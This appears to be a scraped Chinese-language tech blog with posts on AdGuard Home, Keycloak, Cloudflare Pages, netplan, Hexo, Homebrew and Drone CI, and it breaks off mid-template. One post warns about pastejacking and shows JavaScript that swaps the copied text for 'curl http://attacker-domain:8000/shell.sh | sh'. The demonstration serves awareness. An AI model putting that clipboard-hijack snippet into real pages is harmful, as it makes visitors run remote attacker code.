基本上我們只用擋廣告的功能，AdGuardHome 跟 Pi-Hole 選順手好用的就好
雖說 AdGuard Home 有原生跨平台支援，不過真的要用也是用 Docker 去不同平台執行比較方便

安裝 AdGuard Home

Linux

官方有提供 Linux 系統的自動安裝腳本
可以用 wget, curl 等工具下載腳本

>_ terminal

`1`	`wget --no-verbose -O - https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh \| sh -s -- -v`

腳本參數：

-c <channel> 使用特定的安裝渠道，預設是從 release 安裝，可用 development edge beta release
-r 重新安裝 AdGuard Home (不可與 -u 一起用)
-u 移除 AdGuard Home (不可與 -r 一起用)
-v 查看更多安裝時訊息

或是手動下載、安裝
到 GitHub Release 下載對應 OS 的安裝檔
例如安裝 Linux x64 版本

>_ terminal

1
2
3

tar zxvf AdGuardHome_linux_amd64.tar.gz

./AdGuardHome -s install

建議使用剛裝好系統的 VM 來裝 AdGuard Home，方便備份或是避免 port 衝突

Windows

跟 Linux 手動安裝步驟相同，到 GitHub Release 下載 windows 版本後執行

Docker

AdGuard Home Docker Hub

docker 指令：

>_ terminal

docker run --name adguardhome\
    --restart unless-stopped\
    -v /my/own/workdir:/opt/adguardhome/work\
    -v /my/own/confdir:/opt/adguardhome/conf\
    -p 53:53/tcp -p 53:53/udp\
    -p 67:67/udp -p 68:68/udp\
    -p 80:80/tcp -p 443:443/tcp -p 443:443/udp -p 3000:3000/tcp\
    -p 853:853/tcp\
    -p 784:784/udp -p 853:853/udp -p 8853:8853/udp\
    -p 5443:5443/tcp -p 5443:5443/udp\
    -d adguard/adguardhome

其中的 Port 設定

-p 53:53/tcp -p 53:53/udp: 預設 DNS 使用 port
-p 67:67/udp -p 68:68/tcp -p 68:68/udp: DHCP 使用 port (如不使用 DHCP 可以跳過)
-p 3000:3000/tcp -p 443:443/tcp: AdGuard Home 的管理介面 (如不需設定 HTTPS 可以不用 443 port)
-p 80:80/tcp -p 443:443/tcp -p 443:443/udp: DNS-over-HTTPS 使用 port
-p 853:853/tcp: DNS-over-TLS 使用 port
-p 784:784/udp -p 853:853/udp -p 8853:8853/udp: DNS-over-QUIC 使用 port (只需要設定其中一個或兩個，不需要全都用)
-p 5443:5443/tcp -p 5443:5443/udp: DNSCrypt 使用 port.

如果要使用 DHCP server 的功能，建議將讓容器使用主機網路 (需注意 port 衝突)

>_ terminal

docker run --name adguardhome\
    --restart unless-stopped\
    -v /my/own/workdir:/opt/adguardhome/work\
    ...
    --network host
    -d adguard/adguardhome

設定

這邊我是在自己的電腦上用 docker 展示，連線會用 localhost 去連
實際使用建議獨立裝在其他不常關的電腦或樹梅派，連線就使用 IP 連

初次設定

網路設定

接下來設定監聽的網卡(透過哪張網卡能存取)，用 Docker 執行建議可以用所有介面
管理員的監聽介面如果在 docker 沒有使用 80，記得設定成 3000，避免設定完就連不到

DNS 伺服器監聽介面同上，建議保留預設的 53 Port

管理帳號設定

設定管理員帳號密碼，建議不要用 root, admin, administor 等常見的管理帳號

用戶端設定

初次設定完成，這邊可以看一下不同種類客戶端該怎麼設定使用這個 DNS 伺服器
基本上只要將網路設定裡的 DNS 伺服器，改成這邊監聽的網卡的IP，就可以用 Adguard 過濾網站
路由器也要套用的話，是去修改路由器的 DHCP 設定，讓子網段自動分配的 DNS 都使用我們架的 Adguard IP

初次設定完成🎉

接著可以用設定好的管理員帳號登入

設定上游 DNS 伺服器

在 Adguard Home 中並不會紀錄設定之外的網域及IP的對應
其他網域就需要去其他的 DNS 伺服器(上游 DNS 伺服器)查詢

Adguard Home 整理了幾個常用的 DNS 伺服器 https://adguard-dns.io/kb/zh-CN/general/dns-providers/
這邊推薦可以用 Google DNS 跟 Cloudflare DNS

Google DNS

協定	地址
DNS, IPv4	8.8.8.8 和 8.8.4.4
DNS, IPv6	2001:4860:4860::8888 和 2001:4860:4860::8844
DNS-over-HTTPS	https://dns.google/dns-query
DNS-over-TLS	tls://dns.google

Cloudflare DNS

協定	地址
DNS, IPv4	1.1.1.1 和 1.0.0.1
DNS, IPv6	2606:4700:4700::1111 和 2606:4700:4700::1001
DNS-over-HTTPS IPv4	https://dns.cloudflare.com/dns-query
DNS-over-HTTPS IPv6	https://dns.cloudflare.com/dns-query
DNS-over-TLS	tls://1dot1dot1dot1.cloudflare-dns.com

過濾器設定

過濾黑名單

預設黑名單

Adguard Home 預設使用 Adguard 的過濾黑名單
新增黑名單也很方便

把想套用的黑名單加進去啟用

第三方黑名單

要使用第三方黑名單只要有網址也可以匯入

這邊介紹一款專為臺灣人設計的廣告阻擋規則 LowTechFilter
提供阻擋台灣常見的簡訊詐騙、釣魚網站和農場文

簡訊詐騙、釣魚網站 https://filter.futa.gg/hosts.txt
農場文 https://filter.futa.gg/nofarm_hosts.txt

手動過濾規則

可以從主頁到 DNS 查詢紀錄裡去增加封鎖名單，不過缺點是之前要先查詢過

還沒有用戶端用這個 DNS 伺服器之前，紀錄會是空的

家長管控

設定 WikiJS 使用 Keyckoak 做身分認證

Fri, 10 Feb 2023 14:35:35 +0800

最近在設定 WikiJS 串接 Keycloak 作身分認證時碰到一些問題，所以在這邊做個紀錄
這邊就跳過安裝過程

紀錄時使用版本： WikiJS 2.5.296 Keycloak 20.0.3

Keycloak 設定

挑選你要設定登入的 realm ，這邊我為了不要應用程式的帳號跟 Keycloak 的管理帳號混用，建一個新的 realm 叫做 demo

realm 像是用來管理帳號的群組，在這個群組內建好的應用方式都可以透過這些帳號登入

新增 client

打上 client ID (不可重複) ，next 下一步

這邊 Client authentication 必須要勾選，才會產生後面要用到的 Client Secret。點 Save 儲存

設定 client

打開剛剛建好的 client wiki
下滑到 Access Setting

假設我們的 wikijs 網址是 https://wiki.example.com

	填入URL	說明
Root URL	https://wiki.example.com	網站根網址
Home URL	https://wiki.example.com	登入後重導向的根網址 (通常跟 root url 相同)
Valid rediect URIs	/XXXXXXXX/callback/*	允許重導向頁面網址用 * 可以代表所有頁面，但要注意安全性
Valid post logout	https://wiki.example.com	允許登出後轉向的頁面
redirect URIs	/*	允許登出後的重導向位置
Web origins		允許 CORS origins 的網址

Valid rediect URIs 可以在後面設定 wikijs 時取得

如果你的 Keycloak 有安裝客製主題，可以在 Login settings 裡修改

Credentials 分頁有後續會用到的 client key，可以先複製

Wikijs 設定

進到設定後選認證 > 新增登入機制

選擇 Keycloak

再來填入你的 Keycloak 網址、realm 名稱跟剛剛建好的 Client ID

下面4個網址可以參考 wikijs 的提示，不過左邊的 /auth 要去掉，例如：

wikij 提示
https://KEYCLOAK-HOST/auth/realms/YOUR-REALM/protocol/openid-connect/auth

左邊的 /auth 去掉，範例的 realms 是 demo
https://your.keycloak-host.com/realms/demo/protocol/openid-connect/auth

Client Secret 貼上 Keycloak Credentials 內複製的金鑰

開放自由註冊可以斟酌打開，若沒開沒登入過的帳號會無法登入

最下面可以取得 keycloak 設定需要的 Valid rediect URI
只需要填 /login/a28088b1-8e47-4d16-aa6f-0a32d8af192f/callback

設定完記得卷到上面點套用設定

問題排除

登出時遇到 invalid parameter redirect_uri

keycloak 在 18 版之後就不支援登出時使用redirect_uri參數，所以只能先暫時先把 WikiJS 的同步登出先關閉，等 WikiJS 更新

關閉後的缺點是在同一台裝置，session 未過期前，點一下 keycloak 登入就會自動登進去

Cloudflare Page 架站教學

Fri, 10 Feb 2023 12:39:40 +0800

Cloudflare Page 使用上跟 GitHub Page 類似
就差在 GitHub Page 只能用靜態網站檔案，用框架產生的靜態網站就必須先編好才能推上去儲藏庫
Cloudflare Page 可以支援編譯

設定步驟

官方文件 https://developers.cloudflare.com/pages/

簡單步驟總結：

在 GitHub 或 GitLab 建立網頁用的儲藏庫 (repository)
Cloudflare page 連結 GitHub 或 GitLab
在 Cloudflare 設定網站用的 domain name

完成🎉

設定 Git 儲藏庫

首先到 GitHub 或 GitLab 建立網頁用的儲藏庫 (就基本的 git 操作，這邊就不多作教學)

網站內容跟 GitHub Page 一樣，只要是靜態網站都可以，不管是直接寫或是用框架產生都可以
比 GitHub Page 好的一點是，可以直接推送框架的程式上去，部署時編譯
但免費版有限制，所以我還是習慣推送已經編好的上去

GitHub Page 跟 Cloudflare page 也不需要太糾結要用哪個，反正都免費都可以先用看看
例如本網站的內容就是用 Hexo 框架產生，先推送到 GitHub Page，Cloudflare page 用同個儲藏庫當來源

在 https://zonelin.github.io/ 也可以找到本站

Cloudflare 新增 page 專案

登入 Cloudflare 在 page 設定內新增一個專案　

登入 GitHub 或 GitLab 選擇要用的存儲庫 repository

設定要觸發抓取的分支 (建議把部署跟開發中做不同的分支)

如果是想要推送後，再用框架產生靜態網頁可以調整這邊設定

點儲存部屬 Save and Deploy 後會開始從 Git 存儲庫抓程式碼下來編譯
如果是靜態頁面，就只有抓下來 (畢竟我們的 Build setting 是空的)
完成會自動給一個自動分配的網址，例如本站就是 blog-public-3io.pages.dev

需要自訂網址可以到專案的 Custom domains 設定，免費版有使用上限免費版限制

到這邊就完成了🎉

用 Cloudflare 還有個好處，Cloudflare 會自動套 Web Analytics

免費版使用限制

根據官方文件

每個帳號可以件幾個網站專案、預覽板本好像沒限制

建置

免費版能從 GitHub 抓程式碼重新建置每個月500次，建置時間不得過20分鐘
推送程式碼到 GitHub 也會觸發重新建置

所以我習慣在本機把 hexo 建制好，再推送到 GitHub，省編譯時間

Domains

最多 10 個自訂 domain

檔案

單一個網站專案，最多到 2 萬個檔案
單一檔案、素材最大 25MB

有放圖片要注意下容量

Headers

最多 100 header 規則

重導向規則

最多 100 個

Hitomi Downloader

Thu, 19 Jan 2023 10:59:09 +0800

Hitomi Downloader 是一個開源的影音下載工具，支援各大網站的影音下載

目前只有 windows 的版本

GitHub https://github.com/KurtBestor/Hitomi-Downloader
下載位置 https://github.com/KurtBestor/Hitomi-Downloader/releases

詳細支援網站請看 https://github.com/KurtBestor/Hitomi-Downloader#supported-sites

除了 Youtube 等影音網站還支援 Pixiv

Hitomi Downloader 底層用近乎萬能的 yt-dlp 作為影音下載器
yt-dlp 支援的網站，Hitomi Downloader 基本就能下載

套個官方的示範圖

除了一般單片下載之外，還支援下載整個播放清單

Ubuntu netplan 設定網路連線

Sun, 25 Dec 2022 18:44:10 +0800

Ubuntu 20.04 後改用 netplan 作為指令網路設定工具

設定檔

netplan 設定檔預設放在 /etc/netplan/00-installer-config.yaml

修改及套用需要 root 權限

查看網卡代號

使用 ip addr 指令可以列出網卡資訊，跑出來的結果像這樣

bash

\$ ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd xx:xx:xx:xx:xx:xx
    altname enp0s18
    inet 192.168.1.xx/24 brd 172.16.0.255 scope global ens18
       valid_lft forever preferred_lft forever
    inet6 0000::0000:0000:0000:0000/64 scope link
       valid_lft forever preferred_lft forever

編號 2 後面的 ens18 就是網卡代號

我的電腦只有裝一張網卡結果才會只到編號 2，如果有多張網卡會接續列在下面

如果這台機器是 docker host，可能會有一大堆虛擬網卡

接下來就是開始編輯設定檔

使用 nano 編輯器修改設定檔

bash

`1`	`nano /etc/netplan/50-cloud-init.yaml`

使用 DHCP 自動設定 IP

</> yaml 📄 /etc/netplan/50-cloud-init.yaml

network:
  version: 2
  renderer: networkd
  ethernets:
    # 下面 ens18 改成你的網卡代號
    ens18:
      dhcp4: true
    # 如果有多張網卡，設定繼續加在下面

設定固定 IP

</> yaml 📄 /etc/netplan/50-cloud-init.yaml

network:
  version: 2
  ethernets:
    ens18:
      addresses:
      # 設定固定 IP
        - 192.168.1.2/24
      # 預設閘道器
      gateway4: 192.168.1.1
      # 預設 DNS
      nameservers:
        addresses: [8.8.8.8, 1.1.1.1]

固定 IP 中 /24 代表子網遮罩，相當於 255.255.255.0

如果不會換算，可以參考 IPv4 子網計算機

https://damaha-labo.site/converter/zh-Hant/IT/CalcSubnetMask

通常沒特殊需求的話，家用路由器的子網遮罩都是用 /24 255.255.255.0

在 ubuntu 22.04 新版的 Netplan 中， gateway4 這個設定已被棄用

新版的設定檔長這樣

</> yaml 📄 /etc/netplan/50-cloud-init.yaml

network:
  version: 2
  ethernets:
    ens18:
      addresses:
      # 設定固定 IP
        - 192.168.1.2/24
      # 預設 DNS
      nameservers:
        addresses: [8.8.8.8, 1.1.1.1]
      # 預設閘道器
      routes:
        - to: default
          via: 192.168.1.1

預設路由的設定，改成可以設定多個預設閘道器 (Gateway)

</> yaml 📄 /etc/netplan/50-cloud-init.yaml

      routes:
        - to: default
          via: 10.0.0.1
          metric: 200
        - to: default
          via: 11.0.0.1
          metric: 300

其中 metric 代表優先權重，值越小越優先使用

設定 WIFI 連線

這邊同樣是用 Netplan 來修改設定，如果可以裝套件的狀況或是已經裝了 network-manager
可以用 nmcli 工具來設定比較方便

取得 Wifi 網卡代號

bash

1
2

\$ ls /sys/class/net
enp0s25  lo  wlp3s0

通常在 Ubuntu 22.04 中 Wifi 網卡代號通常是 wlan0 或是 wlp3s0

在設定檔下面加上 Wifi 的部分即可

</> yaml 📄 /etc/netplan/50-cloud-init.yaml

network:
    ethernets:
        eth0:
            dhcp4: true
            optional: true
    version: 2
    wifis:
        wlp3s0:
            optional: true
            access-points:
                "SSID-NAME-HERE":
                    password: "PASSWORD-HERE"
            dhcp4: true

至於要怎麼找附近可用的熱點…

如果要用指令的方式查，推薦用 nmcli 設定即可，就不需要用 netplan 打一堆字了

保存、套用設定

範例使用的 nano 編輯器，儲存按法：

Ctrl + X 離開＝> Ctrl + Y 確認保存

保存完後，用下面指令測試設定檔有無格式錯誤

bash

`1`	`netplan try`

確定網路沒問題，在 120 秒內按 Enter 確定套用。
這招可以避免設定固定 IP 時設定錯誤斷網，畢竟很懶的跑去機器旁邊重新設定。

如果想要直接套用，不用再另外檢查，可以用 netplan apply

bash

`1`	`netplan apply`

檢查是否設定成功

bash

ip addr

看一下網卡有沒有配到 IP

如果你的 Raspberry Pi 也是裝 Ubuntu，網路設定也是這樣修改

參考資料

Netplan 設定範例 https://netplan.io/examples
Configure WiFi Connections https://ubuntu.com/core/docs/networkmanager/configure-wifi-connections

Photo by Gabriel Heinzer on Unsplash

Hexo 設定 404 頁面

Wed, 21 Dec 2022 10:56:21 +0800

404 頁面，也就是找不到網頁時的暫時頁面。雖然大部分網頁伺服器已經提供預設的 404 頁面，但公版有些蠻醜的。

新增頁面

方法一：使用 md 檔讓 Hexo 生成

簡單省事的做法就是在 source 資料夾內新增 404.md ，依照一般貼文的寫法，寫完讓 Hexo 產生頁面就好。

方法二：使用一般 html 檔

事先準備好 404.html 的靜態網頁，放到 source 資料夾內。

例如使用範本 https://freefrontend.com/html-css-404-page-templates/

放入後修改 _config.yml 設定跳渲染 404.html $可參考 [Hexo 指定文件跳過渲染](/2021/12/15/hexo-skip/)$

</> yml 📄 _config.yml

...

skip_render:
- 404.html

一般檔案如 css 與 js 可以直接放著在 source 就好，Hexo 渲染網頁時會回直接搬到 public 資料夾內。

套用 404 頁面

我們的網站有提供 404 頁面，但設定重導向就是網頁伺服器的工作了。

靜態網頁服務

GitHub Page, CloudFlare Page 等免費的靜態網站服務，預設都會抓 source 資料夾下的 404.html 檔案作為 404 頁面。

nginx

預設網站設定檔通常是 /etc/nginx/conf.d/default.conf

📄 default.conf

# The default server.
server {
  listen       80 default_server;
  server_name  everythingelse;

  error_page 404 /404.html;

  # Everything is a 404
  location / {
    return 404; #return the code 404
  }

  # link the code to the file
  location = /404.html {
    # 可以把頁面位置改成這樣，Hexo 部署時的對應位置就是 public 資料夾
    root  /var/www/nginx/www/;
  }
}

apache

在網站資料夾內的 /var/www/html/.htaccess 檔案內加入

📄 .htaccess

`1`	`ErrorDocument 404 /404.html`

或是編輯 /etc/apache2/sites-enabled/000-default.com 修改 VirtualHost

📄 000-default.com

<VirtualHost>
   ...
   ErrorDocument 404 /404.html
   ...
</VirtualHost>

關於 SEO

Google, Bing 等搜尋引擎，會將較合適的網站優先推到搜尋結果上。
為了讓排名靠前一些， SEO（搜尋引擎優化）就變得十分重要，尤其是要增加曝光度。
SEO 其中一項是需使用自訂的 404 頁面，也因此網站就會影響到網站的~~廣告費~~。

參考資料

linux 環境變數及 Path 設定

Tue, 29 Nov 2022 20:02:04 +0800

Linux 環境變數種類

永久的：需要修改配置檔案，變數永久生效。
臨時的：使用export命令宣告即可，變數在關閉shell或關機時失效。

Mac 跟 Linux 都是由 Unix 發展的作業系統，在部分操作邏輯都相同，包含環境變數。

看目前的環境變數

使用 env 指令

</> termainal

user@MacBook-Pro ~ % env
USER=XXXX
HOME=/Users/XXXXXX
SHELL=/bin/zsh
...

如果已知環境變數的名稱，可以使用 echo 查看，例如要看 SHELL

>_ terminal

1
2

user@MacBook-Pro ~ % echo $SHELL
/bin/zsh

設定環境變數

臨時性修改，重開機後就必須再做一次

用 export 指令，設定 PATH 變數為例 (下面指令二選一)

>_ terminal

1
2

export PATH="$PATH":/home/bin
export PATH=${PATH}:/home/bin

輸入之後可以使用export指令來查看環境變數是否有輸入進去。

永久性修改，需重開機之後才會有作用

修改 profile

profile的路徑是在 “/etc/profile”，打開後在裡面加入 (下面指令二選一)

📄 /etc/profile

1
2

export PATH="$PATH":/home/bin
export PATH=${PATH}:/home/bin

修改.bashrc

.bashrc的路徑是在"/home/username/.bashrc"，在檔案最後面加入 (下面指令二選一)

📄 /home/username/.bashrc

1
2

export PATH="$PATH":/home/bin
export PATH=${PATH}:/home/bin

參考來源

阿輝的零碎筆記

Linux環境變數的設定、檢視、刪除

Photo by Gabriel Heinzer on Unsplash

Mac 上的套件管理系統 Homebrew

Mon, 24 Oct 2022 17:59:16 +0800

Homebrew 是 Mac 上常用的第三方套件管理器，可以用來安裝 wget 等 Linux 常用但 Mac 沒有的程式。
雖然主要是面向 Mac 的程式，但 Linux 也可以用。

安裝

官方有提供安裝腳本

>_ terminal

`1`	`/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"`

不需要用 sudo 安裝

裝完之後可以用 brew help 檢查是否安裝成功

使用方法

>_ terminal

user@MacBook-Pro ~ % brew help

Example usage:
  brew search TEXT|/REGEX/
  brew info [FORMULA|CASK...]
  brew install FORMULA|CASK...
  brew update
  brew upgrade [FORMULA|CASK...]
  brew uninstall FORMULA|CASK...
  brew list [FORMULA|CASK...]

Troubleshooting:
  brew config
  brew doctor
  brew install --verbose --debug FORMULA|CASK

Contributing:
  brew create URL [--no-fetch]
  brew edit [FORMULA|CASK...]

Further help:
  brew commands
  brew help [COMMAND]
  man brew
  https://docs.brew.sh

基本上就是發現缺什麼套件，先去官網找看看 https://brew.sh/zh-tw，有的話就下指令安裝

安裝 wget

>_ terminal

`1`	`brew install wget`

再來就是更新了

>_ terminal

`1`	`brew update`

安裝問題

如果下載途中意外中斷 $例如 Mac 休眠自動斷線$ ，重跑時可能會出現下面問題

error: Not a valid ref: refs/remotes/origin/master
fatal: ambiguous argument ‘refs/remotes/origin/master’: unknown revision or path not in the working tree.

碰到這個問題，只要先把舊的刪掉再重裝就可以了

>_ terminal

`1`	`/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/uninstall.sh)"`

Apple Silicon MAC上的虛擬機軟體

Wed, 05 Oct 2022 09:07:13 +0800

相信在用 MAC 的大家或多或少都會遇到要用 Windows 專用軟體的情況。

稍微在網路上爬過比較多人推薦的是 Parallel Desktop ，可惜它是付費軟體。

VMWare 到今天只有推了一個測試版的 Fusion Player ，害我都已經想用 PC + 遠桌面解決了。

還好閒逛時找到這套 UTM 虛擬機

官網 https://mac.getutm.app/

介面有中文，只要有用過虛擬機的朋友，一定能簡單上手。~~絕對不是因為我懶得寫~~

UTM 的底層是用 QEMU ，代表在MAC上的虛擬機跑膩了，還可以簡單移植硬碟檔到 Proxmox VE 上執行。

~~不得不說 M1 MAC 的續航力實在是太香了。~~

更新，在 MAC 上用虛擬機還是非常噴電，大概只有用遠端桌面能解決了

Photo by Taylor Vick on Unsplash

注意複製貼上內容

Wed, 27 Apr 2022 19:44:03 +0800

注意複製貼上內容

我們經常會從網路上複製資料，但在貼上之前先注意下你複製到甚麼內容!

複製這個指令試試看

sudo apt update

把剛剛複製的貼這邊試試看吧

中間的奧秘就是用 JavaScript 達到改寫複製的內容

</> js

document.getElementById('copy').addEventListener('copy', function(e) {
    e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n'); 
    e.preventDefault(); 
});

所以，在貼上之前記得先貼到記事本檢查，不要直接貼到終端機使用

來源

https://www.wizer-training.com/blog/copy-paste

OpenSpeedTest 純HTML5的內網測速工具

Tue, 15 Mar 2022 18:46:58 +0800

大家平常要測網路速度都會想到 Ookla 的 Speedtest.net
在簡單的網路環境內，Speedtest 就可以完成測速的工作，但如果我要測試內網速度呢?

網路環境

在測試之前，我們先了解網路速度到底是在測甚麼。
一般家用的網路架構大概如圖，由中華電信這些電信商(ISP)提供網際網路連線(雲圖示)，之後在你家裝一台路由器，讓家裡的設備可以透過它上網。

我們平常用的 Speedtest.net 其實就是在測家裡到網際網路的連線速度。
只是因為網路架構相當簡單，所以電腦、手機等終端的連線速度就等於連網際網路的速度。

若是有在玩自架服務 homelab 的朋友網路架構絕對沒那麼簡單，可能比較像這張圖

在接到網際網路(後面以外網代稱)之前，接到路由器 Router 架設區域網路(後面以內網代稱)。
然後連交換機 Switch 去串接各終端設備和伺服器、監視器等

所以如果我們要測試內網裡面電腦連伺服器的速度，如下圖。Speedtest.net 當然就測不出來了

OpenSpeedTest

講了這麼多前提，主要就是要紹可以自己架設的 OpenSpeedTest

只要把它架在自己的伺服器上，就可以像在用 Speedtest.net 一樣測試內網的網速🎉

這邊是官方那邊的 DEMO (沒錯它可以直接嵌在你的網頁內)

Provided by OpenSpeedtest.com

</> html

<div style="text-align:right;">
  <div style="min-height:360px;">
    <div style="width:100%;height:0;padding-bottom:50%;position:relative;"><iframe
        style="border:none;position:absolute;top:0;left:0;width:100%;height:100%;min-height:360px;border:none;overflow:hidden !important;"
        src="//openspeedtest.com/Get-widget.php"></iframe></div>
  </div>Provided by <a href="http://openspeedtest.com">OpenSpeedtest.com</a>
</div>

安裝 OpenSpeedTest

OpenSpeedTest 大致分為3種安裝方式

安裝程式包
Docker
從原始碼手動架設

程式包

官方打包好的安裝檔在這邊下載頁可以找到
支援主流的作業系統 Windows, Mac, Linux 之外，連 Android 跟 IOS 都有 (可能用來測熱點性能吧?)

點 Start Server 後就可以連 👉 給的網址測速了

Docker

>_ terminal

`1`	`docker run --restart=unless-stopped --name openspeedtest -d -p 3000:3000 -p 3001:3001 openspeedtest/latest`

啟動後連 http://YOUR-IP:3000 或 https://YOUR-IP:3001 測速

原始碼安裝

首先到 Github 下載或 clone 原始碼
準備好 Nginx ，套用openspeedtest 預設 nginx 設定
然後將下載好的OpenSpeedTest原始碼，放到 Nginx 的網頁資料夾就可以用了

推薦還是用 Docker 安裝，簡單省事，如果需要整合進你的網站再用原始碼安裝

Photo by Chris Liverani on Unsplash

ASUS VivoBook S14 S433 更換無線網卡

Mon, 17 Jan 2022 20:20:36 +0800

去年大概在10月左右買了 ASUS VivoBook S14 (S433)，起初用著都很正常

12月開始出現偶發的藍屏崩潰、網卡抓不到等現象

自從大學開始，電腦都是自己組以來，不知道已經有幾年沒看過這麼頻繁出現的藍屏…

爬文後才發現，大概是因為晶片短缺的原因，ASUS 這幾個月的筆電網卡會採用替代品，而不是之前常用的 Intel AX210

Intel 他們家的網卡跟 SSD 可是出了名的穩定耐用

趁著缺貨前趕快從某皮買一張 AX210 來換

警告! 自行更換網卡可能會破保固，換之前請想好

事前準備

Intel AX210 網卡一張
星型螺絲起子建議可以買XX合1那種螺絲起子組
尖頭鑷子

拆機

參考別人的拆機影片，把背蓋打開就看的到網卡了

紅框的地方就是網卡，天線用鑷子會比較好拆裝

換下的網卡 AW-XB468NF

這張卡請保留好，之後要如果送修

需要在送修前先換回去，以免保固出問題

都裝好了才發現忘記拍照…

Windows 11 環境變數及 Path 設定

Fri, 07 Jan 2022 10:52:56 +0800

設定環境變數

開啟設定 > 系統 > 關於 > 裝置規格進階系統相關

設定 Path

預設位置

Windows預設應用程式 path 位置

`1`	`%USERPROFILE%\AppData\Local\Microsoft\WindowsApps`

題外話 Linux 的預設位置在

`1`	`/usr/local/bin`

為甚麼要設定 Path

設定路徑可以簡化找程式的時間

例如下載完 youtube-dl.exe 放在下載資料夾內時
在指令介面，可以直接打程式名，不用附帶前面的路徑

</> powershell

# 未設定路徑
C:\Users\th533\Downloads\youtube-dl.exe ...

# 有設定路徑
youtube-dl.exe ...

新增、編輯 Path

drone-git-push 踩雷心得

Thu, 06 Jan 2022 20:15:54 +0800

Drone CI 是一個可以自行架設的 CI (Continuous Integration) 軟體

使用 CI 的用意就是為了，能在寫完程式時，自動測試、編譯與發佈程式。

關於怎麼架設改天再寫一篇教學。 ~~Google一下應該就很多教學了~~

drone-git-push

回來本篇主題

這次我的需求是在 Drone 的流程內，測試或編譯完程式後以 git 推送到不同的儲藏庫
其實就是要產生網站檔案後，推送到 GitHub 方便用 GitHub Page 或是 Cloudflare Page

在 Drone CI 中可以用 drone-git-push 做到

這次遇到的問題有2個 ~~害我為了找問題多花很多時間~~

儲存庫辨識失敗

錯誤訊息:

terminal

parse "git@github.com:user/repo.git": first path segment in URL cannot contain colon"

照原本文件寫的 .drone.yml 大概是長這樣

</> yaml

- name: deploy git
  image: appleboy/drone-git-push
  settings:
    branch: main
    remote: git@github.com:user/repo.git
    force: false
    commit: true

參考GitHub討論區的解決方法

使用緊急修補的 image
remote 改用字串

</> yaml

- name: deploy git
  image: appleboy/drone-git-push:0.2.0-linux-amd64
  settings:
    branch: main
    remote: "git@github.com:user/repo.git"
    force: false
    commit: true

SSH Key 讀取失敗

由於資安的關係， SSH KEY 不可以跟著程式碼推送到儲存庫，更不可能放明碼在設定檔中

在 Drone CI 要改用 secret 的功能

.drone.yml 大概長這樣

</> yaml

- name: deploy git
  image: appleboy/drone-git-push:0.2.0-linux-amd64
  settings:
    branch: main
    ssh_key:
      from_secret: githubkey

另外在 Drone CI 的 WebUI 上添加 Secret

將 private key 的內文貼進去

然後就碰到問題了

錯誤訊息:

terminal

Load key “/root/.ssh/id_rsa”: invalid format

參考GitHub討論區的解決方法

產生的 SSH key 需要改用 PEM

>_ terminal

`1`	`ssh-keygen -t rsa -b 4096 -C "your_email@example.com" -m PEM`

換完 KEY 甚麼問題都沒了🎉

Hexo 指定文件跳過渲染

Wed, 15 Dec 2021 09:41:37 +0800

Hexo 在編譯時，會將source下的md以及html檔，都套用主題後產生成html

若有些頁面原本就是設計好的，不要套用主題的話，就要改設定去跳過了

修改設定

詳細請看 Hexo 的官方文件

開啟 _config.yml 修改 skip_render 欄位可以設定渲染時要跳過的文件

這邊的設定與 exclude 不同，用 exclude 排除後，
在編譯時不會將原檔複製到 public 內，包括佈署時也是。

跳過單一文件

若要跳過 source 下的 test.html

</> yaml

skip_render: test.html

# 或是
skip_render: [test.html]

# 或是
skip_render:
- test.html

若是跳過 source/abc 下的 test.html，就寫 abc/test.html
路徑不要寫成絕對位置，這邊的路徑都寫 source 下的相對位置

跳過多個文件

</> yaml

skip_render: [test.html, test2.html]

# 或是
skip_render:
- test.html
- test2.html

使用規則命名

skip_render 欄位可以用 glob 表達式表示符合規則的檔名

例如:

</> yaml

# 跳過所有 test 開頭的檔案
skip_render:
- test*

# 跳過所有 test 開頭的 html 檔案
skip_render:
- test*.html

# 跳過所有 abc 資料夾內的檔案
skip_render:
- abc/*

# 跳過所有 abc 資料夾內的檔案包含目錄
skip_render:
- abc/**

參考資料
https://hexo.io/zh-tw/docs/configuration.html
https://iitii.github.io/2019/02/15/1/

增加 Hexo 的 RSS, ATOM, JSON Feed 訂閱功能

Thu, 09 Dec 2021 13:48:27 +0800

RSS(Really Simple Syndication) 是用 xml 定義的標準格式，用來把新聞、部落格文章或是 Podcast 更新資訊彙整到一個地方

衍生出的格式有 Atom, Json Feed 等格式

既然都做部落格了，當然要提供訂閱功能。(加減多點流量)

在 Hexo 內可以使用 Hexo-Feed 插件幫我們產生 RSS, Atom 還有 Json Feed 的檔案

Hexo-feed GitHub

安裝

需要版本

Hexo 4.X+
NodeJS 12+

安裝指令

>_ terminal

`1`	`npm install hexo-feed --save-dev`

製作模板檔案

新增對應的模板檔案

RSS: themes/layout/template/rss.ejs

</> html 📄 rss.ejs

<?xml version="1.0"?>
<rss version="2.0">
    <channel>
        <title><%= config.title %><%= tag ? ` • Posts by "${tag}" tag` : '' %><%= category ? ` • Posts by "${category}" category` : '' %></title>
        <link><%= config.url %></link>
        <description><%= config.description %></description>
        <language><%= config.language %></language>
        <pubDate><%= moment(lastBuildDate).locale('en').format('ddd, DD MMM YYYY HH:mm:ss ZZ') %></pubDate>
        <lastBuildDate><%= moment(lastBuildDate).locale('en').format('ddd, DD MMM YYYY HH:mm:ss ZZ') %></lastBuildDate>
        <%_ for (const { name } of (tags || [])) { _%>
        <category><%= name %></category>
        <%_ } _%>
        <%_ for (const post of posts) { _%>
        <item>
            <guid isPermalink="true"><%= post.permalink %></guid>
            <title><%= post.title %></title>
            <link><%= post.permalink %></link>
            <%_ for (const tag of (post.tags ? post.tags.toArray() : [])) { _%>
            <category><%= tag.name %></category>
            <%_ } _%>
            <pubDate><%= moment(post.date).locale('en').format('ddd, DD MMM YYYY HH:mm:ss ZZ') %></pubDate>
